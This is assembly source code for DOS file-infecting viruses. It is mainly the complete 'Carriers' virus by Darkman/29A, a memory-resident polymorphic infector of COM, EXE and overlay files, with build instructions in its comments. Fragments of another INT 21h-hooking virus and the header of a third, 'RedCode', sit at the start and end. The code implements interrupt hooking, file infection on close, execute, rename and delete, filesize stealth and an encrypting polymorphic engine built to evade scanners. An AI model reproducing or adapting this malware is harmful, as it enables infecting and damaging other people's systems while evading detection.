on_close: jmp infect_on_close

self_check: cmp di,offset old_int_21


jnz jmp_int_21
mov si,di
cld
movs word ptr es:[di],cs:[si] ;copy old int 21h
movs word ptr es:[di],cs:[si] ;
go_iret: iret

new_int_21: cli ;new INT 21h service routine


push ax ;antitrace.. dont fuck with me
push -1
inc sp
dec sp
pop ax
inc ax
pop ax
sti
jnz go_iret
chk_3E: cmp ah,3Eh ;close?
jz on_close
chk_30: cmp ax,30AFh ;are we already installed?
jz self_check
chk_4B: cmp ah,4Bh ;execute?
jnz chk_3D
call common_infect
chk_3D: cmp ah,3Dh ;open?
jnz jmp_int_21
call common_clean

jmp_int_21: db 0EAh ;JMP SEG:OFF opcode


v_end: ;virus end on filez
old_int_21 dd ? ;old INT 21h vector

program_name db 80h dup (?) ;buffer to hold program namez


flag db ? ;used to prevent circular execution
b_start: ;start of internal buffer
end v_start
comment *
Carriers ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

Carriers is a 1332 bytes parasitic resident COM/EXE/Overlay virus. Infects


files at close file, delete file, get or set file attributes, load and/or
execute program and rename file by appending the virus to the infected file.
Carriers has an error handler, filesize stealth, retro structures and is
polymorphic in file using its internal polymorphic engine. Carriers is using
the server function call DOS exploit.

Compile Carriers with Turbo Assembler v 4.0 by typing:


TASM /M CARRIERS.ASM
TLINK /x CARRIERS.OBJ
EXE2BIN CARRIERS.EXE CARRIERS.COM (optional)
*

.model tiny
.code

code_begin:
jmp move_mcb

db 0dh dup(?) ; Memory Control Block (MCB)


virus_begin:
cld ; Clear direction flag
push ds es ; Save segments at stack

call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,(offset delta_offset-code_begin)

mov ax,ds ; AX = segment of PSP for current ...


dec ax ; AX = segment of current Memory C...
mov ds,ax ; DS = " " " " "

xor di,di ; Zero DI


cmp byte ptr [di],'Z' ; Last block in chain?
jne virus_exit ; Already resident? Jump to virus_...
mov byte ptr [di],'M' ; Not last block in chain
sub word ptr [di+03h],(data_end-code_begin+0fh)/10h
sub word ptr [di+12h],(data_end-code_begin+0fh)/10h
mov es,[di+12h] ; ES = segment of the virus

push si ; Save SI at stack


mov cx,(data_end-code_begin+01h)/02h
segcs ; Code segment as source segment
rep movsw ; Move the virus to top of memory

mov ds,cx ; DS = segment of interrupt table


lea di,int21_addr ; DI = offset of int21_addr
mov si,(21h*04h) ; SI = offset of interrupt 21h
movsw ; Get interrupt vector 21h
movsw ; " " " "
mov word ptr [si-04h],offset int21_virus
mov [si-02h],es ; Set interrupt vector 21h
pop si ; Load SI from stack
virus_exit:
pop es ds ; Load segments from stack
mov ax,ds ; AX = segment of PSP for current ...
mov di,cs ; DI = code segment
cmp ax,di ; COM or EXE/Overlay executable?
je vir_com_exit ; Equal? Jump to vir_com_exit

add ax,10h ; AX = segment of beginning of EXE...


add cs:[si+initial_cs],ax

cli ; Clear interrupt-enable flag


initial_sp equ word ptr $+01h ; Initial SP
mov sp,00h ; SP = initial SP

initial_ss equ word ptr $+01h ; Initial SS relative to start of ...


add ax,00h ; Add initial SS relative to start...
mov ss,ax ; SS = initial SS relative to star...
sti ; Set interrupt-enable flag

call zero_regs

db 11101010b ; JMP imm32 (opcode 0eah)


initial_ip dw 00h ; Initial IP
initial_cs dw 0fff0h ; Initial CS relative to start of ...
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
push di ; Save DI at stack
lea si,[si+origin_code] ; SI = offset of origin_code
movsw ; Move the original code to beginning
movsb ; " " " " " "

zero_regs proc near ; Zero registers


xor ax,ax ; Zero AX
mov di,ax ; Zero DI
mov si,ax ; Zero SI

ret ; Return!
endp

int21_virus proc near ; Interrupt 21h of Carriers


push bx cx ds es ; Save registers at stack
push ax ; Save AX at stack

cld ; Clear direction flag


mov al,ah ; AL = function number

cmp al,11h ; Find first matching file (FCB)?


je fcb_stealth ; Equal? Jump to fcb_stealth
cmp al,12h ; Find next matching file (FCB)?
je fcb_stealth ; Equal? Jump to fcb_stealth
cmp al,4eh ; Find first matching file (DTA)?
je dta_stealth ; Equal? Jump to dta_stealth
cmp al,4fh ; Find next matching file (DTA)?
je dta_stealth ; Equal? Jump to dta_stealth

push dx di si bp ; Save registers at stack

cmp al,41h ; Delete file?


je open_file ; Equal? Jump to open_file
cmp al,43h ; Get or set file attributes?
je open_file ; Equal? Jump to open_file
cmp al,4bh ; Load and/or execute program?
je open_file ; Equal? Jump to open_file
cmp al,56h ; Rename file?
je open_file ; Equal? Jump to open_file

cmp al,3eh ; Close file?


jne int21_exit ; Not equal? Jump to int21_exit

call infect_file
int21_exit:
pop bp si di dx ; Load registers from stack

pop ax ; Load AX from stack


pop es ds cx bx ; Load registers from stack

int21_simula proc near ; Simulate interrupt 21h


db 11101010b ; JMP imm32 (opcode 0eah)
int21_addr dd ? ; Address of interrupt 21h
endp
endp

int24_virus proc near ; Interrupt 24h of Carriers


mov al,03h ; Fail system call in progress

int2a_virus proc near ; Interrupt 2Ah of Carriers


iret ; Interrupt return!
endp
endp
open_file:
jmp open_file_
fcb_stealth:
pop ax ; Load AX from stack

call int21_simu__
push ax ; Save AX at stack
pushf ; Save flags at stack
or al,al ; Successful?
jnz filesiz_exit ; Not successful? Jump to filesiz_...

mov ah,51h ; Get current PSP address


call int21_simu__
mov ds,bx ; DS = segment of PSP for current ...
cmp ds:[16h],bx ; Parent PSP equal to current PSP?
jne filesiz_exit ; Not equal? Jump to filesiz_exit

mov ah,2fh ; Get disk transfer area address


call int21_simul_

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

cmp byte ptr [bx],0ffh


jne not_extended ; Not extended FCB? Jump to not_ex...

add bx,07h ; BX = offset of normal FCB


not_extended:
mov ax,[bx+09h] ; AX = file extension
mov cl,[bx+0bh] ; CL = " "

mov ch,[bx+17h] ; CH = low-order byte of file time

add bx,03h ; BX = offset of filesize

jmp test_stealth
dta_stealth:
pop ax ; Load AX from stack
call int21_simu__
push ax ; Save AX at stack
pushf ; Save flags at stack
jc filesiz_exit ; Error? Jump to filesiz_exit

mov ah,2fh ; Get disk transfer area address


call int21_simul_

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

push si ; Save SI at stack


lea si,[bx+1eh] ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,'.' ; Found dot in filename?
jne find_dot ; Not equal? Jump to find_dot

lodsw ; AX = file extension


xchg ax,cx ; CX = " "
lodsb ; AL = file extension
xchg ax,cx ; CL = " "
pop si ; Load SI from stack

mov ch,[bx+16h] ; CH = low-order byte of file time


test_stealth:
and ch,00011111b ; CH = seconds of file time
cmp ch,00011101b ; Infected (58 seconds)?
jne filesiz_exit ; Not infected? Jump to filesiz_exit

call tst_file_ext
jne filesiz_exit ; Not equal? Jump to filesiz_exit

sub [bx+1ah],(code_end-code_begin+1482h)
sbb word ptr [bx+1ch],00h
filesiz_exit:
popf ; Load flags from stack
pop ax ; Load AX from stack
pop es ds cx bx ; Load registers from stack

retf 02h ; Return far and add option-pop-va...


open_file_:
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

mov ah,60h ; Canonicalize filename or path


lea di,filename ; DI = offset of filename
mov si,dx ; SI = " " "
call int21_simul_

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ax,3d00h ; Open file (read)


mov dx,di ; DX = offset of filename
call int21_simul_
xchg ax,bx ; BX = file handle

call infect_file

mov ah,3eh ; Close file


call int21_simul_
jmp int21_exit

int21_simul_ proc near ; Simulate interrupt 21h


push es ds di si dx cx bx ax

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

mov cx,08h ; Move sixteen bytes


lea dx,dpl_begin ; DX = offset of dpl_begin
mov di,dx ; DI = " " "
loop_stack:
pop ax ; Load AX from stack
stosw ; Store register value within dpl_...

loop loop_stack

xor ax,ax ; Zero AX


stosw ; Store DOS parameter list (reserved)
stosw ; Store DOS parameter list (comput...

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ah,51h ; Get current PSP address


call int21_simu__

xchg ax,bx ; AX = segment of PSP for current ...


stosw ; Store segment of PSP for current...

mov ax,5d00h ; Server function call

int21_simu__ proc near ; Simulate interrupt 21h


pushf ; Save flags at stack
push cs ; Save CS at stack

call int21_simula

ret ; Return!
endp
endp

infect_file proc near ; Infect COM/EXE/Overlay file


mov si,(24h*04h)/10h ; SI = segment within interrupt table
mov ds,si ; DS = " " " "
xor si,si ; Zero SI

push [si+(24h*04h)-(24h*04h)]
push [si+(24h*04h+02h)-(24h*04h)]
mov word ptr [si+(24h*04h)-(24h*04h)],offset int24_virus
mov [si+(24h*04h+02h)-(24h*04h)],cs
push [si+(2ah*04h)-(24h*04h)]
push [si+(2ah*04h+02h)-(24h*04h)]
mov word ptr [si+(2ah*04h)-(24h*04h)],offset int2a_virus
mov [si+(2ah*04h+02h)-(24h*04h)],cs

push ds ; Save DS at stack

mov ax,1220h ; Get system file table number


int 2fh

push bx ; Save BX at stack


mov ax,1216h ; Get address of system FCB
mov bl,es:[di] ; BL = system file table entry
int 2fh
pop bx ; Load BX from stack

mov byte ptr es:[di+02h],02h

test byte ptr es:[di+05h],10000000b


jnz infect_exit ; Character device? Jump to infect...

mov ax,es:[di+28h] ; AX = file extension


mov cl,es:[di+2ah] ; CL = " "

call tst_file_ext
jne infect_exit ; Not equal? Jump to infect_exit

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov al,es:[di+0dh] ; AL = low-order byte of file time


and al,00011111b ; AL = seconds of file time
cmp al,00011101b ; Previously infected (58 seconds)?
je infect_exit ; Equal? Jump to infect_exit

mov es:[di+15h],si ; Set current file position (SOF)


mov es:[di+17h],si ; Set current file position (SOF)

mov ah,3fh ; Read from file


mov cx,18h ; Read twenty-four bytes
lea dx,origin_code ; DX = offset of origin_code
call int21_simul_

mov es:[di+15h],si ; Set current file position (SOF)

push di ; Save DI at stack


mov cl,0bh ; Compare eleven bytes
add di,20h ; DI = offset of filename
lea si,command_com ; SI = offset of command_com
rep cmpsb ; COMMAND.COM?
pop di ; Load DI from stack
je infect_exit ; Equal? Jump to infect_exit

mov si,dx ; SI = offset of origin_code

mov ax,es:[di+11h] ; AX = low-order word of filesize


mov dx,es:[di+13h] ; AX = high-order word of filesize

or dx,dx ; Filesize too small?


jnz test_exe_sig ; Not zero? Jump to test_exe_sig
cmp ax,1000h ; Filesize too small?
jae test_exe_sig ; Above or equal? Jump to infect_exit
infect_exit:
jmp infect_exit_
test_exe_sig:
mov cx,[si] ; CX = EXE/Overlay signature

xor cx,'MZ' ; EXE/Overlay signature?


jz test_exe_ov ; Found EXE/Overlay signature? Jum...
xor cx,('ZM' xor 'MZ') ; EXE/Overlay signature?
jz test_exe_ov ; Found EXE/Overlay signature? Jum...

cmp ax,0fef8h-(data_end-code_begin)
ja infect_exit ; Above? Jump to infect_exit
calc_offset:
mov cx,03h ; Write three bytes

sub ax,cx ; AX = offset of virus within infe...


mov [virus_offset],ax ; Store offset of virus within inf...

add ax,103h ; AX = decryptor's offset


xchg ax,bp ; BP = " "

xor al,al ; AL = flags


lea dx,infect_code ; DX = offset of infect_code

jmp infect_file_
test_exe_ov:
push dx ; Save DX at stack
push ax ; " AX " "

call div_by_pages

pop cx ; Load CX from stack (AX)


xchg ax,cx ; AX = low-order byte of filesize

cmp dx,[si+02h] ; Internal overlay?


pop dx ; Load DX from stack
jne infect_exit ; Not equal? Jump to infect_exit
cmp cx,[si+04h] ; Internal overlay?
jne infect_exit ; Not equal? Jump to infect_exit

cmp byte ptr [si+18h],40h


je infect_exit ; New executable? Jump to infect_exit

push ax dx ; Save registers at stack


push di si es ; " " " "

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea di,initial_ss ; DI = offset of initial_ss


add si,0eh ; SI = offset of initial SS relati...
movsw ; Store initial SS relative to sta...

lea di,initial_sp ; DI = offset of initial_sp


movsw ; Store initial SP

lea di,initial_ip-02h ; DI = offset of initial_ip - 02h


cmpsw ; SI = offset of initial IP
movsw ; Store initial IP
movsw ; Store initial CS relative to sta...

mov cx,10h ; Divide by paragraphs


div cx ; DX:AX = filesize in paragraphs

mov bp,dx ; BP = decryptor's offset

pop es si di ; Load registers from stack

sub ax,[si+08h] ; Subtract header size in paragrap...

mov [si+14h],dx ; Store initial IP


mov [si+16h],ax ; Store initial CS relative to sta...

add ax,((code_end-code_begin+1491h)/10h+01h)
mov [si+0eh],ax ; Store initial SS relative to sta...
and word ptr [si+10h],1111111111111110b

pop dx ax ; Load registers from stack


add ax,(code_end-code_begin+1482h)
adc dx,00h ; Convert to 32-bit

call div_by_pages

mov [si+04h],ax ; Store total number of 512-bytes ...


mov [si+02h],dx ; Store number of bytes in last 51...

mov al,00000011b ; AL = flags


mov cx,18h ; Write twenty-four bytes
mov dx,si ; DX = offset of origin_code
infect_file_:
push es:[di+0dh] ; Save file time at stack
push es:[di+0fh] ; Save file date at stack

push ax ; Save AX at stack

mov ah,40h ; Write to file


call int21_simul_

add di,15h ; DI = offset of current offset in...


lea si,[di-04h] ; SI = offset of filesize
seges ; Extra segment as source segment
movsw ; Move low-order word of filesize ...
seges ; Extra segment as source segment
movsw ; Move high-order word of filesize...

pop ax ; Load AX from stack

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

mov cx,(code_end-code_begin)
lea di,data_buffer ; DI = offset of data_buffer
xor si,si ; Zero SI
push bx di ; Save registers at stack
call c_pe_poly

mov ah,40h ; Write to file


mov cx,(code_end-code_begin+1482h)
pop dx bx ; Load registers from stack
call int21_simul_

mov ax,5701h ; Set file's date and time


pop dx ; Load DX from stack (file date)
pop cx ; Load CX from stack (file time)
and cl,11100000b ; CX = hours and minutes of file time
or cl,00011101b ; Set infection mark (58 seconds)
call int21_simul_
infect_exit_:
xor si,si ; Zero SI
pop ds ; Save DS at stack

pop [si+(2ah*04h+02h)-(24h*04h)]
pop [si+(2ah*04h)-(24h*04h)]
pop [si+(24h*04h+02h)-(24h*04h)]
pop [si+(24h*04h)-(24h*04h)]

ret ; Return!
endp

tst_file_ext proc near ; Test file extension


cmp ax,'OC' ; COM executable?
jne test_exe ; Not equal? Jump to test_exe
cmp cl,'M' ; COM executable?

ret ; Return!
test_exe:
cmp ax,'XE' ; EXE executable?
jne test_ov ; Not equal? Jump to test_ov
cmp cl,'E' ; EXE executable?

ret ; Return!
test_ov:
cmp ax,'VO' ; OV? executable?
jne tst_fil_exit ; Not equal? Jump to tst_fil_exit

cmp cl,'L' ; OVL executable?


je tst_fil_exit ; Equal? Jump to tst_fil_exit

cmp cl,'R' ; OVR executable?


tst_fil_exit:
ret ; Return!
endp

div_by_pages proc near ; Divide by pages


mov cx,200h ; Divide by pages
div cx ; DX:AX = filesize in pages

or dx,dx ; No bytes in last 512-bytes page ...


je dont_inc_pag ; Equal? Jump to dont_inc_pag

inc ax ; Increase total number of 512-byt...


dont_inc_pag:
ret
endp

comment *
Carriers (polymorphic engine) ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

Calling parameters:
AL Flags
CX Length of original code
BP Decryptor's offset
DS:SI Pointer to original code
ES:DI Pointer to decryptor + encrypted code

Return parameters:
CX Length of decryptor + encrypted code

Flags:
xxxxxxx1 Generate CS: in front of the decryption opcode.
xxxxxx1x Generate garbage in the beginning.
111111xx Unused.

Garbage instructions:
JMP imm8; JMP imm16
Count/index registers:
BX; BP; DI; SI

Registers holding the decryption key:


AL; AH; BL; BH; CL; CH; DL; DH; AX; BX; CX; DX; BP; SI; DI

Decryptor:
(One garbage instruction).
(MOV reg,imm); MOV reg16,imm16 (Decryption key)
(One garbage instruction).
MOV reg16,imm16; (MOV reg,imm) (Offset of encrypted code)
One garbage instruction.
ADD (CS:)[reg16],imm/reg; SUB (CS:)[reg16],imm/reg; XOR (CS:)[reg16],im...
One garbage instruction.
ADD reg16,01h; ADD reg16,02h; INC reg16; INC reg16, INC reg16, SUB reg1...
One garbage instruction.
CMP reg16,imm16 (End of encrypted code)
JA imm8/JAE imm8/JE imm8 (Beginning of encrypted code)
JMP imm16 (Beginning of ADD (CS:)[reg16],imm8/reg8; SUB (CS:)[reg16],i...
One garbage instruction.

Min. decryptor size: 271 bytes.


Max. decryptor size: 5250 bytes.
Carriers (polymorphic engine) size: 487 bytes.

I would like to thank Tcp/29A for the help and Rhincewind/VLAD for the
Random Number Generator (RNG).
*

c_pe_poly proc near ; Carriers (polymorphic engine)


push si ; Save SI at stack
push cx ; " CX " "
push cx ; " CX " "
push di ; " DI " "
push ax ; " AX " "

test al,00000010b ; Generate garbage in the beginning?


jz get_regs ; Zero? Jump to get_regs

call gen_garbage
get_regs:
mov ax,04h ; Random number within four
call rnd_in_range
xchg ax,bx ; BL = count/index register number

lea si,[bx+index_table] ; SI = offset of count/index register


lodsb ; AL = count/index register
mov dh,al ; DH = " "
get_key_reg:
call get_rnd_num_
mov dl,al ; DL = register holding decryption...

and al,00001111b ; AL = " " "


cmp al,00001100b ; Stack pointer (SP)?
je get_key_reg ; Equal? Jump to get_key_reg

test al,00001000b ; 16-bit encryption/decryption key?


jnz test_reg16 ; Not zero? Jump to test_reg16

and al,00000011b ; AL = register holding decryption...


test_reg16:
and al,00000111b ; AL = register holding decryption...
cmp al,dh ; Count/index register equal to r...?
je get_regs ; Equal? Jump to get_regs
initial_regs:
test dl,00010000b ; Generate MOV reg,imm first and ...?
jz gen_mov_r16_ ; Zero? Jump to gen_mov_r16_

call gen_mov_reg
call gen_mov_r16

jmp test_gen_cs
gen_mov_r16_:
call gen_mov_r16
call gen_mov_reg
test_gen_cs:
mov [decrypt_off],di ; Store offset of decryption opcode

pop ax ; Load AX from stack


test al,00000001b ; Generate CS: in front of the de...?
jnz gen_cs ; Not zero? Jump to gen_cs

test dl,00100000b ; Generate CS?


jz dont_gen_cs ; Zero? Jump to dont_gen_cs
gen_cs:
mov al,00101110b ; CS:
stosb ; Store CS:
dont_gen_cs:
call tst_key_size

lea si,decrypt_tbl ; SI = offset of decrypt_tbl

test dl,01000000b ; Register holding decryption key?


jz key_reg_used ; Zero? Jump to key_reg_used

or al,10000000b ; ADD [reg16],imm/SUB [reg16],imm/...


stosb ; Store ADD [reg16],imm/SUB [reg16...

call lod_rnd_byte

call gen_decrypt_

call sto_temp_imm

jmp gen_inc_r16_
key_reg_used:
xchg ax,cx ; CL = decryption algorithm

call lod_rnd_byte

or al,cl ; ADD [reg16],imm/SUB [reg16],imm/...


stosb ; Store ADD [reg16],imm/SUB [reg16...

mov al,dl ; AL = register holding decryption...


mov cl,03h ; Shift register holding decryptio...
and al,00000111b ; AL = register holding decryption...
shl al,cl ; AL = " " "

call gen_decrypt_
gen_inc_r16:
call gen_garbage
gen_inc_r16_:
mov ax,04h ; Random number within four
call rnd_in_range
lea si,inc_r16_tbl-01h ; SI = offset of inc_r16_tbl-01h
shl ax,01h ; Multiply increase index register...
add si,ax ; SI = offset of increase index re...
lodsw ; AX = increase index register opcode

or ah,dh ; AH = count/index register


cmp ah,01000111b ; INC reg16?
ja sto_inc_r16 ; Above? Jump to sto_inc_r16

mov al,ah ; INC reg16; INC reg16


stosw ; Store INC reg16; INC reg16

call tst_key_siz_

jmp gen_cmp_r16_
sto_inc_r16:
stosw ; Store increase index register op...
xchg ax,bx ; BX = increase index register opcode

call tst_key_size

inc ax ; Increase 16-bit immediate

cmp bh,11101000b ; SUB reg16,imm16?


jb sto_inc_r16_ ; Below? Jump to sto_inc_r16_

neg ax ; Negate 16-bit immediate


sto_inc_r16_:
stosw ; Store 16-bit immediate

cmp bl,10000011b ; ADD reg16,imm8?


jne gen_cmp_r16 ; Not equal? Jump to gen_cmp_r16

dec di ; 8-bit immediate


gen_cmp_r16:
call gen_garbage
gen_cmp_r16_:
mov ax,1111100010000001b
or ah,dh ; CMP reg16,imm16
stosw ; Store CMP reg16,imm16

mov [cmp_r16_i16],di ; Store offset of CMP reg16,imm16


stosw ; Store 16-bit immediate

push cx ; Save CX at stack


lea si,jmp_imm8_tbl ; SI = offset of jmp_imm8_tbl
call lod_rnd_byte

stosb ; Store jump condition


get_rnd_num:
mov ax,80h ; Random number within one hundred...
call rnd_in_range
cmp ax,40h ; Below sixty-four bytes?
jb get_rnd_num ; Below? Jump to get_rnd_num

stosb ; Store 8-bit immediate

xchg cx,ax ; CX = 8-bit immediate

mov al,11101001b ; JMP imm16


stosb ; Store JMP imm16

decrypt_off equ word ptr $+01h ; Offset of decryption opcode


mov ax,00h ; DI = offset of decryption opcode
sub ax,di ; Subtract offset of end of JMP im...
dec ax ; Decrease 16-bit immediate
dec ax ; " " "
stosw ; Store 16-bit immediate

sub cx,(mcb_end-mcb+03h)
garbage_loop:
call get_rnd_num_

stosb ; Store 8-bit random number

loop garbage_loop
pop cx ; Load CX from stack

pop ax ; Load AX from stack (DI)


sub ax,di ; AX = length of decryptor
neg ax ; Negate length of decryptor
add ax,bp ; AX = offset of encrypted code wi...
mov_r16_i16 equ word ptr $+01h ; Offset of MOV reg16,imm16
mov ds:[00h],ax ; Store offset of encrypted code

pop bx ; Load BX from stack (CX)


test bl,00000001b ; Align offset of end of encrypte...?
jz sto_cmp_r16 ; Zero? Jump to sto_cmp_r16

inc bx ; Increase offset of end of encryp...


sto_cmp_r16:
add ax,bx ; Add length of original code to o...
cmp_r16_i16 equ word ptr $+01h ; Offset of CMP reg16,imm16
mov ds:[00h],ax ; Store offset of end of encrypted...

push di ; Save DI at stack


lea bx,encrypt_tbl ; BX = offset of encrypt_tbl
lea di,encrypt_algo ; DI = offset of encrypt_algo
add bl,ch ; Add encryption/decryption algor...
mov al,[bx] ; AL = encryption algorithm
mov bx,di ; BX = offset of encrypt_algo
stosb ; Store encryption algorithm
inc di ; Increase index register
stosb ; Store encryption algorithm
get_rnd_key:
call get_rnd_num_

and al,ah ; Weak encryption/decryption key?


jz get_rnd_key ; Zero? Jump to get_rnd_key
cmp al,ah ; Weak encryption/decryption key?
je get_rnd_key ; Equal? Jump to get_rnd_key

mov_reg_imm equ word ptr $+01h ; Offset of MOV reg,imm


mov di,00h ; BX = offset of MOV reg,imm

test dl,00001000b ; 8-bit encryption/decryption key?


jz store_key ; Zero? Jump to store_key

stosw ; Store 16-bit encryption/decrypti...

inc byte ptr [bx] ; Store encryption algorithm


mov byte ptr [bx+02h],00111000b

db 00111000b ; CMP [BP+SI+0AAC4],CL (opcode 38h)


store_key:
mov al,ah ; AL = 8-bit encryption/decryption...
stosb ; Store 8-bit encryption/decryptio...

xchg ax,bx ; BX = encryption/decryption key


pop di ; Load DI from stack

pop cx ; Load CX from stack


inc cx ; Increase length of original code
shr cx,01h ; Divide length of original code b...

pop si ; Load SI from stack


encrypt_loop:
lodsw ; AX = word of original code

encrypt_algo equ byte ptr $ ; Offset of encryption algorithm


add al,bl ; AL = encrypted low-order byte of...
add ah,bh ; AH = encrypted high-order byte o...

stosw ; Store encrypted word

loop encrypt_loop

ret ; Return!
endp

gen_mov_reg proc near ; Generate MOV reg,imm


mov al,dl ; AL = register holding decryption...

test al,01000000b ; Register holding decryption key?


jnz gen_mov_exit ; Not zero? Jump gen_mov_exit

or al,10110000b ; MOV reg,imm


stosb ; Store MOV reg,imm

call sto_temp_imm
gen_mov_exit:
ret ; Return!
endp

gen_mov_r16 proc near ; Generate MOV reg16,imm16


mov al,dh ; AL = count/index register
or al,10111000b ; MOV reg16,imm16
stosb ; Store MOV reg16,imm16

mov [mov_r16_i16],di ; Store offset of MOV reg16,imm16


stosw ; Store 16-bit immediate

call gen_garbage

ret ; Return!
endp

tst_key_size proc near ; Test size of encryption/decrypti...


xor ax,ax ; Zero AX
test dl,00001000b ; 8-bit encryption/decryption key?
jz tst_key_exit ; Zero? Jump to tst_key_exit

inc ax ; 16-bit encryption/decryption key


tst_key_exit:
ret ; Return!
endp

lod_rnd_byte proc near ; Load random byte within table


mov ax,03h ; Random number within three
call rnd_in_range
mov ch,al ; CH = random number within three

add si,ax ; SI = offset of within table


lodsb ; AL = byte of table

ret ; Return!
endp

gen_decrypt_ proc near ; Generate decryption opcode


mov cl,al ; CL = decryption algorithm
lea si,[bx+index_table_]
lodsb ; AL = count/index register

or al,cl ; ADD [reg16],imm/SUB [reg16],imm/...


stosb ; Store ADD [reg16],imm/SUB [reg16...

test al,01000000b ; Base pointer?


jz didnt_use_bp ; Zero? Jump to didnt_use_bp

xor al,al ; Zero 8-bit immediate


stosb ; Store 8-bit immediate
didnt_use_bp:
ret ; Return!
endp

sto_temp_imm proc near ; Store temporary immediate


mov [mov_reg_imm],di ; Store offset of MOV reg16,imm16
stosw ; Store 16-bit immediate

tst_key_siz_ proc near ; Test size of encryption/decrypti...


test dl,00001000b ; 16-bit encryption/decryption key?
jnz gen_garbage ; Not zero? Jump to gen_garbage

dec di ; 8-bit immediate

gen_garbage proc near ; Generate garbage


push ax cx ; Save registers at stack
gen_garbage_:
mov ax,401h ; Random number within one thousan...
call rnd_in_range
cmp ax,40h ; Below sixty-four bytes?
jb gen_garbage_ ; Below? Jump to gen_garbage_

push ax ; Save AX at stack


cmp ax,80h ; Generate JMP imm8 or JMP imm16?
mov al,11101011b ; JMP imm8 (opcode 0ebh)
jb gen_jmp_i8 ; Below? Jump to gen_jmp_i8

mov al,11101001b ; JMP imm16 (opcode 0e9h)


gen_jmp_i8:
stosb ; Store JMP imm8/JMP imm16

pop ax ; Load AX from stack


stosb ; Store 8-bit immediate
jb gen_jmp_i8_ ; Below? Jump to gen_jmp_i8_

dec di ; Decrease index register

stosw ; Store 16-bit immediate


gen_jmp_i8_:
xchg cx,ax ; CX = number of random bytes
garbage_loo_:
call get_rnd_num_

stosb ; Store 8-bit random number

loop garbage_loo_

pop cx ax ; Load registers from stack

ret ; Return!
endp
endp
endp
endp

rnd_in_range proc near ; Random number within range


push bx dx ; Save registers at stack
xchg ax,bx ; BX = number within range
call get_rnd_num_

xor dx,dx ; Zero DX


div bx ; DX = random number within range
xchg ax,dx ; AX = " " " "
pop dx bx ; Load registers from stack

ret ; Return!
endp

; Modified version of the Random Number Generator (RNG) used in the Rickety
; and Hardly Insidious yet New Chaos Engine v 1.00 [RHINCE] by
; Rhincewind/VLAD.
get_rnd_num_ proc near ; Get 16-bit random number
in al,40h ; AL = 8-bit random number
mov ah,al ; AH = " " "
in al,40h ; AL = " " "

random_num equ word ptr $+01h ; 16-bit random number


adc ax,00h ; AX = 16-bit random number
mov [random_num],ax ; Store 16-bit random number

ret ; Return!
endp

index_table db 00000011b ; Base register


db 00000101b ; Base pointer
db 00000110b ; Source index
index_table_ db 00000111b ; Destination/base register
db 01000110b ; Base pointer
db 00000100b ; Source index
db 00000101b ; Destination index
decrypt_tbl db 00000000b ; ADD [reg16],imm
db 00110000b ; XOR [reg16],imm
db 00101000b ; SUB [reg16],imm
inc_r16_tbl db 01000000b ; INC reg16
dw 1100000010000011b ; ADD reg16,imm8
dw 1100000010000001b ; ADD reg16,imm16
dw 1110100010000001b ; SUB reg16,imm16
jmp_imm8_tbl db 01110011b ; JAE imm8
db 01110100b ; JE imm8
db 01110111b ; JA imm8
encrypt_tbl db 00101010b ; SUB reg8,reg8
db 00110010b ; XOR reg8,reg8
db 00000010b ; ADD reg8,reg8
command_com db 'COMMAND COM' ; COMMAND.COM
virus_offset equ word ptr $+01h ; Offset of virus within infected ...
infect_code db 11101001b,?,? ; JMP imm16 (opcode 0e9h)
virus_name db ' [Carriers]' ; Name of the virus
virus_author db ' [Darkman/29A] ' ; Author of the virus
origin_code db 11001101b,00100000b,?
code_end:
db 15h dup(?) ; Original code of infected file
filename db 80h dup(?) ; Canonicalized filename
; DOS parameter list
dpl_begin:
dpl_ax dw ? ; Accumulator register
dpl_bx dw ? ; Base register
dpl_cx dw ? ; Count register
dpl_dx dw ? ; Data register
dpl_si dw ? ; Source index
dpl_di dw ? ; Destination index
dpl_ds dw ? ; Data segment
dpl_es dw ? ; Extra segment
dpl_reserved dw 00h ; Reserved
dpl_comp_id dw 00h ; Computer ID
dpl_proc_id dw ? ; Process ID
dpl_end:
data_buffer db (code_end-code_begin+1482h) dup(?)
data_end:
move_mcb:
cld ; Clear direction flag
mov cx,(mcb_end-mcb)/02h
lea di,code_begin+100h ; DI = offset of code_begin
lea si,mcb+100h ; SI = offset of mcb
rep movsw ; Move Memory Control Block (MCB) ...

jmp virus_begin

mcb db 'Z' ; Last block in chain


dw 08h ; Memory Control Block (MCB) belon...
dw (data_end-virus_begin+0fh)/10h
db 00h,00h,00h,'SC',06h dup(00h)
mcb_end:

end code_begin
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±°
;±±±° ±±±°
;±±° Virus name: RedCode ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ±±°
;±±° Writer: Wintermute/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ±±°
